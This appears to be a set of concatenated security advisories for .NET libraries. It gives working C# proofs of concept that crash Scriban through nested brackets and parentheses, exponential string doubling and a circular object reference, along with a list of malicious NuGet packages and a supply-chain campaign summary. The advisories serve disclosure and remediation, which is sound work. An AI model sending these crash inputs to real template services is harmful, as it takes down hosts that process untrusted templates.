### Summary
StackOverflowException via nested array initializers bypasses ExpressionDepthLimit fix (GHSA-wgh7-7m3c-fx25)
### Details
The recent fix for GHSA-wgh7-7m3c-fx25 (uncontrolled recursion in parser) added `ExpressionDepthLimit` defaulting to 250. However, deeply nested **array initializers** (`[[[[...`) recurse through `ParseArrayInitializer` → `ParseExpression` → `ParseArrayInitializer`, which is a **different recursion path** not covered by the expression depth counter.
This causes a `StackOverflowException` on current main (commit b5ac4bf - "Add limits for default safety").
### PoC
```
using Scriban;
// ExpressionDepthLimit (default 250) does NOT prevent this crash
string nested = "{{ " + new string('[', 5000) + "1" + new string(']', 5000) + " }}";
Template.Parse(nested); // StackOverflowException - process terminates
```
### Impact
Same as GHSA-wgh7-7m3c-fx25: High severity. StackOverflowException cannot be caught with try/catch in .NET - the process terminates immediately. Any application calling Template.Parse with untrusted input is vulnerable, even with the new default ExpressionDepthLimit enabled.
`TemplateContext.LimitToString` defaults to `0` (unlimited). While Scriban implements a default `LoopLimit` of 1000, an attacker can still cause massive memory allocation via exponential string growth. Doubling a string for just 30 iterations generates over 1GB of text, instantly exhausting heap memory and crashing the host process. Because no output size limit is enforced, repeated string concatenation results in exponential memory growth.
**Proof of Concept (PoC):**
The following payload executes in under 30 iterations but results in ~1GB string allocation, crashing the process.
```csharp
using Scriban;
string maliciousTemplate =
@"
{{
a = ""A""
for i in 1..30
a = a + a
end
a
}}";
var template = Template.Parse(maliciousTemplate);
var context = new TemplateContext();
try
{
template.Render(context);
}
catch (Exception ex)
{
Console.WriteLine("\nException: " + ex.Message);
}
```
**Impact:**
An attacker can supply a small template that triggers exponential string growth, forcing the application to allocate excessive memory. This leads to severe memory pressure, garbage collection thrashing, and eventual process termination (DoS).
**Suggested Fix:**
Enforce a sensible default limit for string output. Set default `LimitToString` to 1MB (1,048,576 characters).
```csharp
public int LimitToString { get; set; } = 1048576;
```
When Scriban renders an object that contains a circular reference, it traverses the object's members infinitely. Because the `ObjectRecursionLimit` property defaults to unlimited, this behavior exhausts the thread's stack space, triggering an uncatchable `StackOverflowException` that immediately terminates the hosting process.
When rendering objects (e.g., `{{ obj }}`), the Scriban rendering engine recursively inspects and formats the object's properties. To prevent infinite loops caused by deeply nested or circular data structures, `TemplateContext` contains an `ObjectRecursionLimit` property.
However, this property currently defaults to `0` (unlimited). If the data context pushed into the template contains a circular reference, the renderer will recurse indefinitely. This is especially dangerous for web applications that map user-controlled payloads (like JSON) directly to rendering contexts, or for applications that pass ORM objects (like Entity Framework models, which frequently contain circular navigation properties) into the template.
#### Proof of Concept (PoC)
The following C# code demonstrates the vulnerability. Executing this will cause an immediate, fatal `StackOverflowException`, bypassing any standard error handling.
```csharp
using Scriban;
using Scriban.Runtime;
var template = Template.Parse("{{ a }}");
var context = new TemplateContext();
var a = new ScriptObject();
// Introduce a cycle
a["self"] = a;
context.PushGlobal(new ScriptObject { { "a", a } });
try {
// This crashes the entire process immediately
template.Render(context);
} catch (Exception ex) {
// This will never execute because StackOverflowException
Console.WriteLine("Caught exception: " + ex.Message);
}
```
#### Impact
This vulnerability allows a Denial of Service (DoS) attack. If a malicious user can manipulate the data structure passed to the renderer to include a cyclic reference, or if the application passes a complex object graph to an untrusted template, the entire .NET hosting process will crash.
#### Suggested Remediation
Update `TemplateContext.cs` to set `ObjectRecursionLimit` to a safe default, such as `20`.
```csharp
public int ObjectRecursionLimit { get; set; } = 20;
```
By implementing this default, circular references will gracefully result in a catchable `ScriptRuntimeException` rather than a fatal process crash.
Scriban is vulnerable to an uncontrolled process crash resulting in a Denial of Service. Because the recursive-descent parser does not enforce a default limit on expression depth, an attacker who controls template input can craft a heavily nested template that triggers a `StackOverflowException`. In .NET, a `StackOverflowException` cannot be caught by standard `try-catch` blocks, resulting in the immediate and ungraceful termination of the entire hosting process.
Scriban utilizes a recursive-descent parser to process template expressions. While the library exposes an `ExpressionDepthLimit` property in its `ParserOptions`, this property defaults to `null` (disabled).
If an application accepts user-supplied templates (or dynamically constructs templates from untrusted input), an attacker can supply thousands of nested parentheses or blocks. As the parser recursively evaluates each nested layer, it consumes thread stack space until it exceeds the limits of the host OS, triggering a fatal crash.
#### Impact
An attacker can supply crafted input that triggers a `StackOverflowException`, causing immediate termination of the hosting process and resulting in a Denial of Service. In applications that process untrusted or user-controlled templates (e.g., web applications or APIs), this can be exploited remotely without authentication. The failure is not recoverable, requiring a full process restart and leading to service disruption.
#### Proof of Concept (PoC)
The following C# code demonstrates the vulnerability. Executing this code will immediately terminate the application process.
```csharp
using Scriban;
// Creates a deeply nested expression: (((( ... (1) ... ))))
string nested = new string('(', 10000) + "1" + new string(')', 10000);
try {
// This will crash the entire process immediately
Scriban.Template.Parse("{{ " + nested + " }}");
} catch (Exception ex) {
// This catch block will never execute because StackOverflowException
Console.WriteLine("Caught exception: " + ex.Message);
}
```
#### Suggested Remediation
Update the `ParserOptions` constructor (or the internal parser initialization) to set a default value for `ExpressionDepthLimit`. A limit of `1000` (or even lower, such as `250` or `500`) is generally more than enough for legitimate templates while safely preventing stack exhaustion.
```csharp
public int? ExpressionDepthLimit { get; set; } = 250;
```
Alternatively, document the risk heavily and warn developers to manually set `ExpressionDepthLimit` if evaluating untrusted templates, though a secure-by-default approach is strongly preferred.
The NuGet package 'test6789.v3' versions 1.0.0, 1.0.1, and 1.0.2 contain malicious code. This is identified as a malicious package rather than a traditional vulnerability with a CVSS score. There are no known exploits in the wild reported at this time.
The NuGet package 'test6789.client' versions 1.0.0, 1.0.1, and 1.0.2 contain malicious code. This is identified as a malicious package rather than a traditional vulnerability. No CVSS score or detailed technical exploitation information is provided.
The NuGet package 'test6789.latest' versions 1.0.0, 1.0.1, and 1.0.2 contain malicious code. This is identified as a malicious package rather than a traditional vulnerability. There is no CVSS score or detailed technical exploitation information available. No known exploits in the wild have been reported. No official patch or remediation guidance is provided.
The NuGet package 'stripeapi.net' versions 0.0.1 through 0.0.200 contain malicious code. This package is identified as a malicious package by the OpenSSF and is listed in the malicious packages database. No specific technical details or exploitation methods are provided.
The solnetwallet.net.core NuGet package contains malicious code in multiple versions ranging from 0.0.1 through 0.0.76 and also versions 4.28.1 and 4.28.2. This is identified as a malicious package rather than a traditional vulnerability. There is no CVSS score or detailed technical exploit information available.
The solnetall.net NuGet package versions 0.0.8, 0.0.10, 0.0.13, and 0.0.20 contain malicious code. This is identified as a malicious package threat rather than a traditional vulnerability. There is no CVSS score or detailed technical exploit information available. No known exploits in the wild have been reported. No official patch or remediation guidance is provided.
The NuGet package bsure.utils versions 0.70.1, 0.71.2, and 99.99.99 contain malicious code as identified by the OpenSSF malicious packages database. This is a supply chain threat involving a package that could potentially execute harmful actions if integrated into software projects.
The NuGet package bsure.binsec version 0.70.1 is identified as containing malicious code. This package is flagged in the OpenSSF malicious packages database and is recognized as a security threat due to its malicious nature. There is no CVSS score or detailed technical vulnerability description available. No known exploits in the wild have been reported. No official patch or remediation guidance is provided.
The NuGet package '8y234rtv8yvf' version 1.0.0 contains malicious code as identified by the OpenSSF malicious packages database. This package is flagged as a security threat due to the presence of harmful content. There is no CVSS score or detailed technical vulnerability description available. No known exploits in the wild have been reported. No patch or remediation information is provided.
The NuGet package avvio.sky.userdataservice version 99.9.9 has been identified as containing malicious code. This is a case of a malicious package rather than a traditional software vulnerability. There is no CVSS score or detailed technical exploit information available. No known exploits in the wild have been reported. No patch or remediation guidance is provided in the source data.
The NuGet package '3rugfbe8rivferiuv' contains malicious code in multiple specific versions. This threat involves the presence of intentionally harmful code within the package versions listed. There is no CVSS score or detailed technical exploitation information available. No known exploits in the wild have been reported. No official patch or remediation guidance is provided.
A vulnerability in the PCD image decoder of Magick.NET-Q16-AnyCPU allows a crafted PCD file to cause a 1-byte heap out-of-bounds read during image decoding. This can lead to a denial of service and potential disclosure of adjacent heap memory. The issue affects versions prior to 14.10.3 and has a low severity rating with a CVSS score of 3.7. A patch is available in version 14.10.3.
An integer overflow vulnerability in the PSB (PSD v2) RLE decoding path of Magick.NET-Q16-AnyCPU versions prior to 14.10.3 causes a heap out-of-bounds read on 32-bit builds. This flaw can lead to information disclosure or application crashes when processing specially crafted PSB files. The issue is addressed in version 14.10.3.
A NuGet supply chain attack involving four malicious packages targeting ASP.NET web application developers has been discovered. The campaign deploys a multi-stage payload where NCryptYo acts as a dropper, establishing a local proxy, while companion packages exfiltrate ASP.NET Identity data and accept threat actor-controlled authorization rules, creating backdoors in victim applications. The packages, published between August 12-21, 2024, have accumulated over 4,500 downloads. The attack uses obfuscation, JIT compiler manipulation, and a two-stage architecture to evade detection. The campaign's objective is to compromise applications during development, gaining access to deployed production instances by controlling the authorization layer.
The sqzrframework480 NuGet package contains malicious code in multiple specific versions. This is a supply chain threat where the package itself is identified as malicious. No CVSS score or detailed technical exploit information is provided.
The minimutex NuGet package versions 1.1.0, 1.2.0, 1.2.2, 1.2.3, and 1.2.4 contain malicious code as identified by the OpenSSF malicious packages project. This is a supply chain threat involving a malicious package distributed via the NuGet ecosystem. No specific technical details about the malicious behavior or exploitation methods are provided.
